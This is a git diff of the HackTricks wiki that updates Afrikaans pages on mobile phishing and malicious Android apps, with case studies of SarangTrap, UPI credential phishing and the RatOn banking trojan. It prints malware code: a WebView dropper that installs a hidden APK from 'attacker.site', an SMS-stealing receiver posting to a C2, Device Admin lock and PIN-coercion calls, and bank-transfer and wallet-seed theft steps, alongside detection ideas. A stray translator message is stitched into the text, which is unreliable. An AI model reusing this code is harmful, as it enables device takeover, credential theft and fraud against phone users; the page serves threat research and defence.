diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index 1896b4230..8fffcfbac 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -1,67 +1,67 @@ -# Mobiele Phishing & Kwaadwillige App Verspreiding (Android & iOS) +# Mobiele Phishing & Kwaadwillige App-verspreiding (Android & iOS) {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> Hierdie bladsy dek tegnieke wat deur bedreigingsakteurs gebruik word om **kwaadwillige Android APK's** en **iOS mobiele konfigurasieprofiele** deur phishing (SEO, sosiale ingenieurswese, vals winkels, dating-apps, ens.) te versprei. -> Die materiaal is aangepas van die SarangTrap veldtog wat deur Zimperium zLabs (2025) blootgestel is en ander openbare navorsing. +> Hierdie bladsy dek tegnieke wat deur bedreigingsakteurs gebruik word om **kwaadwillige Android APKs** en **iOS mobile-configuration profiles** deur phishing (SEO, social engineering, fake stores, dating apps, ens.) te versprei. +> Die materiaal is aangepas vanaf die SarangTrap campaign exposed by Zimperium zLabs (2025) en ander openbare navorsing. -## Aanvalstroom +## Aanvalsvloei -1. **SEO/Phishing Infrastruktuur** -* Registreer dosyne soortgelyke domeine (dating, wolk deel, motor diens…). -– Gebruik plaaslike taal sleutelwoorde en emojis in die `` element om in Google te rangskik. -– Gasheer *beide* Android (`.apk`) en iOS installasie instruksies op dieselfde landing bladsy. -2. **Eerste Fase Aflaai** -* Android: direkte skakel na 'n *ongetekende* of “derdeparty winkel” APK. -* iOS: `itms-services://` of gewone HTTPS skakel na 'n kwaadwillige **mobileconfig** profiel (sien hieronder). -3. **Post-install Sosiale Ingenieurswese** -* By die eerste keer wat die app oopgemaak word, vra dit vir 'n **uitnodiging / verifikasiekode** (exclusiewe toegang illusie). -* Die kode word **POSTed oor HTTP** na die Command-and-Control (C2). -* C2 antwoord `{"success":true}` ➜ malware gaan voort. -* Sandbox / AV dinamiese analise wat nooit 'n geldige kode indien nie, sien **geen kwaadwillige gedrag** (ontwyking). -4. **Runtime Toestemming Misbruik** (Android) -* Gevaarlike toestemmings word slegs aangevra **na positiewe C2 antwoord**: +1. **SEO/Phishing-infrastruktuur** +* Registreer dosyne gelyklike domeine (dating, cloud share, car service…). +– Gebruik sleutelwoorde in die plaaslike taal en emoji's in die `<title>` element om in Google te rangskik. +– Host *beide* Android (`.apk`) en iOS installasie-instruksies op dieselfde landingsblad. +2. **Eerste fase aflaai** +* Android: direkte skakel na 'n *unsigned* of “third-party store” APK. +* iOS: `itms-services://` of plain HTTPS-skakel na 'n kwaadwillige **mobileconfig** profile (sien hieronder). +3. **Na-installasie Sosiale Ingenieurswese** +* By eerste uitvoering vra die app vir 'n **invitation / verification code** (illusie van eksklusiewe toegang). +* Die kode word **POSTed over HTTP** na die Command-and-Control (C2). +* C2 antwoord `{"success":true}` ➜ malware gaat voort. +* Sandbox / AV dinamiese analise wat nooit 'n geldige kode indien nie, sien **geen malicious behaviour** (evasie). +4. **Misbruik van Runtime-toestemmings (Android)** +* Gevaarlike toestemmings word slegs versoek **na 'n positiewe C2-antwoord**: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> -<!-- Ou weergawe het ook vir SMS toestemmings gevra --> +<!-- Older builds also asked for SMS permissions --> ``` -* Onlangse variasies **verwyder `<uses-permission>` vir SMS uit `AndroidManifest.xml`** maar laat die Java/Kotlin kodepad wat SMS deur refleksie lees ⇒ verlaag statiese telling terwyl dit steeds funksioneel is op toestelle wat die toestemming via `AppOps` misbruik of ou teikens. -5. **Fasade UI & Agtergrond Versameling** -* App wys onskadelike uitsigte (SMS kyker, galery kieser) wat plaaslik geïmplementeer is. -* Intussen eksfiltreer dit: -- IMEI / IMSI, telefoonnommer +* Onlangse variante **verwyder `<uses-permission>` vir SMS uit `AndroidManifest.xml`** maar laat die Java/Kotlin-kodepad wat SMS deur reflection lees, staan ⇒ verlaag die statiese telling terwyl dit steeds funksioneel is op toestelle wat die toestemming gee via `AppOps` misbruik of ou teikens. +5. **Skyn-UI & Agtergrondversameling** +* Die app wys onskadelike weergawes (SMS viewer, gallery picker) wat plaaslik geïmplementeer is. +* Intussen exfiltreer dit: +- IMEI / IMSI, phone number - Volledige `ContactsContract` dump (JSON array) -- JPEG/PNG van `/sdcard/DCIM` gecomprimeer met [Luban](https://github.com/Curzibn/Luban) om grootte te verminder -- Opsionele SMS inhoud (`content://sms`) -Payloads word **batch-gezipped** en gestuur via `HTTP POST /upload.php`. -6. **iOS Aflewering Tegniek** -* 'n Enkele **mobile-configuration profiel** kan `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ens. vra om die toestel in “MDM”-agtige toesig in te skryf. -* Sosiale ingenieurswese instruksies: -1. Open Instellings ➜ *Profiel afgelaai*. -2. Tik *Installeer* drie keer (skermskote op die phishing bladsy). -3. Vertrou die ongetekende profiel ➜ aanvaller verkry *Kontakte* & *Foto* regte sonder App Store hersiening. -7. **Netwerk Laag** -* Gewone HTTP, dikwels op poort 80 met HOST kop soos `api.<phishingdomain>.com`. -* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (geen TLS → maklik om op te spoor). +- JPEG/PNG van `/sdcard/DCIM` saamgepers met [Luban](https://github.com/Curzibn/Luban) om grootte te verminder +- Opsionele SMS-inhoud (`content://sms`) +Payloads word **batch-zipped** en gestuur via `HTTP POST /upload.php`. +6. **iOS Afleweringstegniek** +* 'n Enkele **mobile-configuration profile** kan `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ens. versoek om die toestel in “MDM”-agtige toesig te registreer. +* Sosiale-ingenieurswese instruksies: +1. Open Settings ➜ *Profile downloaded*. +2. Tap *Install* drie keer (skermskote op die phishing-blad). +3. Trust the unsigned profile ➜ aanvaller verkry *Contacts* & *Photo* entitlement sonder App Store hersiening. +7. **Netwerklaag** +* Onversleutelde HTTP, dikwels op poort 80 met HOST-header soos `api.<phishingdomain>.com`. +* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (geen TLS → maklik om te bespeur). -## Verdedigende Toetsing / Rooi Span Wenke +## Verdedigende Toetsing / Red-Team Wenke -* **Dinamiese Analise Ontwyking** – Tydens malware evaluasie, outomatiseer die uitnodigingskode fase met Frida/Objection om die kwaadwillige tak te bereik. -* **Manifest vs. Runtime Verskil** – Vergelyk `aapt dump permissions` met runtime `PackageManager#getRequestedPermissions()`; ontbrekende gevaarlike perms is 'n rooi vlag. -* **Netwerk Kanarie** – Konfigureer `iptables -p tcp --dport 80 -j NFQUEUE` om onsamehangende POST uitbarstings na kode invoer te detecteer. -* **mobileconfig Inspeksie** – Gebruik `security cms -D -i profile.mobileconfig` op macOS om `PayloadContent` te lys en oortollige regte op te spoor. +* **Dynamic Analysis Bypass** – Tydens malware-assessering, outomatiseer die invitation code-fase met Frida/Objection om die kwaadwillige tak te bereik. +* **Manifest vs. Runtime Diff** – Vergelyk `aapt dump permissions` met runtime `PackageManager#getRequestedPermissions()`; ontbrekende gevaarlike perms is 'n rooi vlag. +* **Network Canary** – Konfigureer `iptables -p tcp --dport 80 -j NFQUEUE` om skielike POST-burstes na kode-invoer op te spoor. +* **mobileconfig Inspection** – Gebruik `security cms -D -i profile.mobileconfig` op macOS om `PayloadContent` te lys en oordrewe entitlements raak te sien. -## Blou Span Opsporing Idees +## Blue-Team Opsporingsidees -* **Sertifikaat Deursigtigheid / DNS Analise** om skielike uitbarstings van sleutelwoord-ryke domeine te vang. -* **User-Agent & Pad Regex**: `(?i)POST\s+/(check|upload)\.php` van Dalvik kliënte buite Google Play. -* **Uitnodigingskode Telemetrie** – POST van 6–8 syfer numeriese kodes kort nadat APK geïnstalleer is, kan staging aandui. -* **MobileConfig Ondertekening** – Blokkeer ongetekende konfigurasieprofiele via MDM beleid. +* **Certificate Transparency / DNS Analytics** om skielike uitbarstings van sleutelwoordryke domeine vas te vang. +* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` van Dalvik-kliente buite Google Play. +* **Invite-code Telemetry** – POST van 6–8 syfer numeriese kodes kort na APK-installasie kan staging aandui. +* **MobileConfig Signing** – Blokkeer ongetekende konfigurasieprofiele via MDM-beleid. -## Nuttige Frida Snippet: Outo-Ontwyking Uitnodigingskode +## Nuttige Frida-snipper: Auto-Bypass Invitation Code ```python # frida -U -f com.badapp.android -l bypass.js --no-pause # Hook HttpURLConnection write to always return success @@ -80,7 +80,7 @@ return conn; }; }); ``` -## Aanduiders (Generies) +## Aanwysers (Generies) ``` /req/checkCode.php # invite code validation /upload.php # batched ZIP exfiltration @@ -88,30 +88,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex ``` --- -## Android WebView Betaling Phishing (UPI) – Dropper + FCM C2 Patroon +## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern -Hierdie patroon is waargeneem in veldtogte wat regeringsvoordele tematies misbruik om Indiese UPI-akkredite en OTP's te steel. Operateurs ketting betroubare platforms vir aflewering en veerkragtigheid. +Hierdie patroon is waargeneem in veldtogte wat staatsvoordeel‑temas misbruik om Indiese UPI‑bewyse en OTPs te steel. Operateurs skakel betroubare platforms aaneen vir aflewering en veerkragtigheid. -### Afleweringsketting oor betroubare platforms -- YouTube video lokmiddel → beskrywing bevat 'n kort skakel -- Kortskakel → GitHub Pages phishing-webwerf wat die regte portaal naboots -- Dieselfde GitHub-repo huisves 'n APK met 'n vals “Google Play” badge wat direk na die lêer skakel -- Dinamiese phishing-bladsye leef op Replit; afstandsopdragkanaal gebruik Firebase Cloud Messaging (FCM) +### Delivery chain across trusted platforms +- YouTube‑video lokmiddel → beskrywing bevat 'n shortlink +- Shortlink → GitHub Pages phishing site wat die regte portaal naboots +- Dieselfde GitHub repo bied 'n APK aan met 'n vals “Google Play”‑kenteken wat direk na die lêer skakel +- Dinamiese phishing‑bladsye leef op Replit; die afstandbeheerkanaal gebruik Firebase Cloud Messaging (FCM) -### Dropper met ingebedde payload en aflyn installasie -- Eerste APK is 'n installeerder (dropper) wat die werklike malware by `assets/app.apk` verskaf en die gebruiker vra om Wi‑Fi/mobiele data te deaktiveer om wolkdetectie te verminder. -- Die ingebedde payload installeer onder 'n onskuldige etiket (bv., “Veilige Opdatering”). Na installasie is beide die installeerder en die payload teenwoordig as aparte toepassings. +### Dropper with embedded payload and offline install +- Die eerste APK is 'n installer (dropper) wat die werklike malware by `assets/app.apk` lewer en die gebruiker vra om Wi‑Fi/mobiele data af te skakel om cloud detection te verdoof. +- Die ingebedde payload installeer onder 'n onskuldige etiket (bv. “Secure Update”). Na installasie is beide die installer en die payload as aparte apps teenwoordig. -Statiese triage wenk (grep vir ingebedde payloads): +Statiese triage‑wenk (grep vir ingebedde payloads): ```bash unzip -l sample.apk | grep -i "assets/app.apk" # Or: zipgrep -i "classes|.apk" sample.apk | head ``` -### Dinamiese eindpuntontdekking via kortskakel -- Malware haal 'n plain-text, komma-geskeide lys van lewende eindpunte van 'n kortskakel; eenvoudige stringtransformasies produseer die finale phishing-bladsy-pad. +### Dinamiese endpoint-ontdekking via shortlink +- Malware haal 'n platte teks, komma-geskeide lys van lewende endpoints vanaf 'n shortlink; eenvoudige tekenreeks-transformasies produseer die finale phishing-bladsy-pad. -Voorbeeld (gesaniteer): +Voorbeeld (gesanitiseer): ``` GET https://rebrand.ly/dclinkto2 Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php @@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView) UPI credential POST: https://sqcepo.replit.app/addup.php SMS upload: https://sqcepo.replit.app/addsm.php ``` -Pseudo-kode: +Pseudokode: ```java String csv = httpGet(shortlink); String[] parts = csv.split(","); @@ -127,27 +127,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm"); String smsPost = parts[1]; String credsPost = upiPage.replace("gate.htm", "addup.php"); ``` -### WebView-gebaseerde UPI geloofsbriefinsameling -- Die “Maak betaling van ₹1 / UPI‑Lite” stap laai 'n aanvaller HTML-vorm vanaf die dinamiese eindpunt binne 'n WebView en vang sensitiewe velde (telefoon, bank, UPI PIN) wat `POST` na `addup.php` gestuur word. +### WebView-based UPI credential harvesting +- Die “Make payment of ₹1 / UPI‑Lite” stap laai die aanvaller se HTML-vorm vanaf die dinamiese eindpunt binne 'n WebView en vang sensitiewe velde (telefoon, bank, UPI PIN) wat as `POST` na `addup.php` gestuur word. -Minimal loader: +Minimale loader: ```java WebView wv = findViewById(R.id.web); wv.getSettings().setJavaScriptEnabled(true); wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm ``` -### Self-propagasie en SMS/OTP onderskepping -- Agressiewe toestemmings word op die eerste uitvoering aangevra: +### Self-propagation and SMS/OTP interception +- Agressiewe toestemmings word by die eerste opstart aangevra: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> ``` -- Kontakte word in 'n lus geplaas om massavereiste smishing SMS vanaf die slagoffer se toestel te stuur. -- Inkomende SMS's word deur 'n uitsaaier ontvang en met metadata (afsender, inhoud, SIM-slot, per-toestel ewekansige ID) na `/addsm.php` opgelaai. +- Die kontakte word deurgegaan om smishing-SMS massaal vanaf die slagoffer se toestel te stuur. +- Inkomende SMS word deur 'n broadcast receiver onderskep en saam met metadata (sender, body, SIM slot, per-device random ID) na `/addsm.php` opgelaai. -Receiver sketch: +Ontvanger-skets: ```java public void onReceive(Context c, Intent i){ SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); @@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder() } ``` ### Firebase Cloud Messaging (FCM) as resilient C2 -- Die payload registreer by FCM; stootboodskappe dra 'n `_type` veld wat as 'n skakel gebruik word om aksies te aktiveer (bv., werk phishing teks sjablone op, skakel gedrag). +- Die payload registreer by FCM; push-boodskappe dra 'n `_type` veld wat as 'n skakelaar gebruik word om aksies te aktiveer (bv. bywerk van phishing-tekssjablone, skakel gedrag aan/af). -Example FCM payload: +Voorbeeld FCM payload: ```json { "to": "<device_fcm_token>", @@ -187,26 +187,176 @@ case "smish": sendSmishToContacts(); break; } ``` ### Jagpatrone en IOCs -- APK bevat sekondêre las op `assets/app.apk` -- WebView laai betaling van `gate.htm` en eksfiltreer na `/addup.php` -- SMS eksfiltrasie na `/addsm.php` -- Kortskakel-gedrewe konfigurasie opvraging (bv. `rebrand.ly/*`) wat CSV eindpunte teruggee -- Apps geëtiketteer as generiese “Opdatering/Sekere Opdatering” -- FCM `data` boodskappe met 'n `_type` diskrimineerder in onbetroubare apps +- APK bevat sekondêre payload by `assets/app.apk` +- WebView laai betaling vanaf `gate.htm` en exfiltreer na `/addup.php` +- SMS-exfiltrasie na `/addsm.php` +- Shortlink-gedrewe config fetch (bv. `rebrand.ly/*`) wat CSV endpoints teruggee +- Apps gemerk as generiese “Update/Secure Update” +- FCM `data` boodskappe met 'n `_type` discriminator in onbetroubare apps ### Opsporing & verdediging idees -- Merk apps wat gebruikers instrueer om netwerk tydens installasie te deaktiveer en dan 'n tweede APK van `assets/` sy-laden. -- Laat weet oor die toestemming tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-gebaseerde betalingsvloei. -- Egress monitering vir `POST /addup.php|/addsm.php` op nie-korporatiewe gasheer; blokkeer bekende infrastruktuur. -- Mobiele EDR reëls: onbetroubare app wat registreer vir FCM en tak op 'n `_type` veld. +- Merk apps wat gebruikers instrueer om netwerk tydens installasie af te skakel en daarna 'n tweede APK vanaf `assets/` side-load. +- Waarsku op die toestemmings-tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-gebaseerde betalingsvloei. +- Monitering van uitgaande verkeer vir `POST /addup.php|/addsm.php` op nie-korporatiewe hosts; blokkeer bekende infrastruktuur. +- Mobile EDR-reëls: onbetroubare app registreer vir FCM en takke op 'n `_type` veld. --- -## Verwysings +## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn gevallestudie + +Die RatOn banker/RAT veldtog (ThreatFabric) is 'n konkrete voorbeeld van hoe moderne mobile phishing-operasies WebView droppers, Accessibility-gedrewe UI-automatisering, overlays/ransom, Device Admin-gedwonge, Automated Transfer System (ATS), crypto wallet-oortaking, en selfs NFC-relay orkestrasie kombineer. Hierdie afdeling abstraheer die herbruikbare tegnieke. + +### Fase-1: WebView → native install bridge (dropper) +Aanvallers wys 'n WebView wat na 'n aanvalerbladsy wys en injekteer 'n JavaScript-interface wat 'n native installer blootstel. 'n Tik op 'n HTML-knoppie roep native kode aan wat 'n tweede-fase APK geïnstalleer wat in die dropper se assets ingepak is en dit dan direk lanceer. + +Minimale patroon: +```java +public class DropperActivity extends Activity { +@Override protected void onCreate(Bundle b){ +super.onCreate(b); +WebView wv = new WebView(this); +wv.getSettings().setJavaScriptEnabled(true); +wv.addJavascriptInterface(new Object(){ +@android.webkit.JavascriptInterface +public void installApk(){ +try { +PackageInstaller pi = getPackageManager().getPackageInstaller(); +PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); +int id = pi.createSession(p); +try (PackageInstaller.Session s = pi.openSession(id); +InputStream in = getAssets().open("payload.apk"); +OutputStream out = s.openWrite("base.apk", 0, -1)){ +byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); +} +PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); +pi.commit(id, status.getIntentSender()); +} catch (Exception e) { /* log */ } +} +}, "bridge"); +setContentView(wv); +wv.loadUrl("https://attacker.site/install.html"); +} +} +``` +Ek het nie die HTML-inhoud van die bladsy ontvang nie. Plak asseblief die HTML/markdown-inhoud wat jy wil hê ek moet vertaal, en ek sal dit na Afrikaans vertaal volgens die gegewe reëls. +```html +<button onclick="bridge.installApk()">Install</button> +``` +Na installasie, begin die dropper die payload via eksplisiete package/activity: +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` +Hunting idea: onbetroubare apps wat `addJavascriptInterface()` aanroep en installer-agtige metodes aan WebView blootstel; APK wat 'n ingeslote sekondêre payload onder `assets/` versend en die Package Installer Session API aanroep. + +### Toestemmingstrechter: Accessibility + Device Admin + follow-on runtime prompts +Stage-2 open 'n WebView wat 'n “Access” bladsy huisves. Sy knoppie roep 'n exported method aan wat die slagoffer na die Accessibility-instellings navigeer en vra om die rogue service te aktiveer. Sodra dit toegestaan is, gebruik malware Accessibility om outomaties deur opvolgende runtime permission dialogs (contacts, overlay, manage system settings, ens.) te klik en versoek Device Admin. + +- Accessibility programmeerbaar help om later versoeke te aanvaar deur knoppies soos “Allow”/“OK” in die node-tree te vind en klikke te stuur. +- Overlay permission check/request: +```java +if (!Settings.canDrawOverlays(ctx)) { +Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, +Uri.parse("package:" + ctx.getPackageName())); +ctx.startActivity(i); +} +``` +See also: + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### Oorskerm phishing/ransom via WebView +Operateurs kan opdragte gee om: +- toon 'n volskerm-oorskerm vanaf 'n URL, of +- stuur inline HTML wat in 'n WebView-oorskerm gelaai word. + +Waarskynlike gebruike: dwang (PIN-invoer), wallet-openings om PIN's vas te vang, ransom-boodskappe. Hou 'n opdrag om te verseker dat die overlay-toestemming gegee is indien dit ontbreek. + +### Remote control model – teks pseudo-skerm + screen-cast +- Lae-bandwydte: periodies die Accessibility node-boom uitgooi, sigbare tekste/rolle/bounds serialiseer en na C2 stuur as 'n pseudo-skerm (opdragte soos `txt_screen` eenmalig en `screen_live` voortdurend). +- Hoë-fideliteit: versoek MediaProjection en begin screen-casting/recording op aanvraag (opdragte soos `display` / `record`). + +### ATS playbook (bank app outomatisering) +Gegee 'n JSON-taak, open die bank-app, bestuur die UI via Accessibility met 'n mengsel van teksnavrae en koördinaat-tappe, en voer die slagoffer se betaal-PIN in wanneer daar om gevra word. + +Example task: +```json +{ +"cmd": "transfer", +"receiver_address": "ACME s.r.o.", +"account": "123456789/0100", +"amount": "24500.00", +"name": "ACME" +} +``` +Example texts seen in one target flow (CZ → EN): +- "Nová platba" → "Nuwe betaling" +- "Zadat platbu" → "Voer betaling in" +- "Nový příjemce" → "Nuwe ontvanger" +- "Domácí číslo účtu" → "Inlandse rekeningnommer" +- "Další" → "Volgende" +- "Odeslat" → "Stuur" +- "Ano, pokračovat" → "Ja, gaan voort" +- "Zaplatit" → "Betaal" +- "Hotovo" → "Klaar" + +Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly. + +### Crypto wallet seed extraction +Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages. + +### Device Admin coercion +Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim: + +- Immediate lock: +```java +dpm.lockNow(); +``` +- Laat huidige credential verval om verandering af te dwing (Accessibility vang nuwe PIN/password op): +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` +- Dwing nie-biometriese ontsluiting deur keyguard se biometriese funksies uit te skakel: +```java +dpm.setKeyguardDisabledFeatures(admin, +DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` +Let wel: Baie DevicePolicyManager-beheer vereis Device Owner/Profile Owner op onlangse Android; sommige OEM-bouwerk kan laks wees. Valideer altyd op die teiken OS/OEM. + +### NFC-relay orkestrasie (NFSkate) +Stage-3 kan 'n eksterne NFC-relaismodule installeer en begin (e.g., NFSkate) en selfs 'n HTML-sjabloon daaraan oorhandig om die slagoffer tydens die relais te lei. Dit maak kontakslose card-present cash-out moontlik tesame met aanlyn ATS. + +Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Operator command set (sample) +- UI/state: `txt_screen`, `screen_live`, `display`, `record` +- Social: `send_push`, `Facebook`, `WhatsApp` +- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### Detection & defence ideas (RatOn-style) +- Soek na WebViews met `addJavascriptInterface()` wat installer-/permission-metodes blootstel; bladsye wat eindig op “/access” wat Accessibility-promptte uitlok. +- Waarsku op apps wat kort ná verkryging van service-toegang 'n hoë tempo Accessibility-gebare/klikke genereer; telemetrie wat lyk soos Accessibility node dumps na C2 gestuur word. +- Houd dop vir Device Admin-beleidwysigings in onbetroubare apps: `lockNow`, password expiration, keyguard feature toggles. +- Waarsku vir MediaProjection-promptte van nie-korporatiewe apps wat gevolg word deur periodieke raamoplaaie. +- Detecteer die installasie/aanvang van 'n eksterne NFC-relais-app wat deur 'n ander app getrigger word. +- Vir bankdienste: dwing out-of-band bevestigings af, biometrie-binding, en transaksie-limiete af wat weerstandbiedend is teen on-device automatisering. + +## References - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban – Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index aac45737a..735173f8d 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -1,24 +1,24 @@ -# Android Accessibility Service Abuse +# Misbruik van Android Accessibility Service {{#include ../../banners/hacktricks-training.md}} ## Oorsig -`AccessibilityService` is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde **kragtige outomatiserings-API's** (globale navigasie, teksinvoer, gebaarverspreiding, oortjievensters…) deur malware gebruik word om **volledige afstandbeheer** van die toestel _sonder wortelregte_ te verkry. 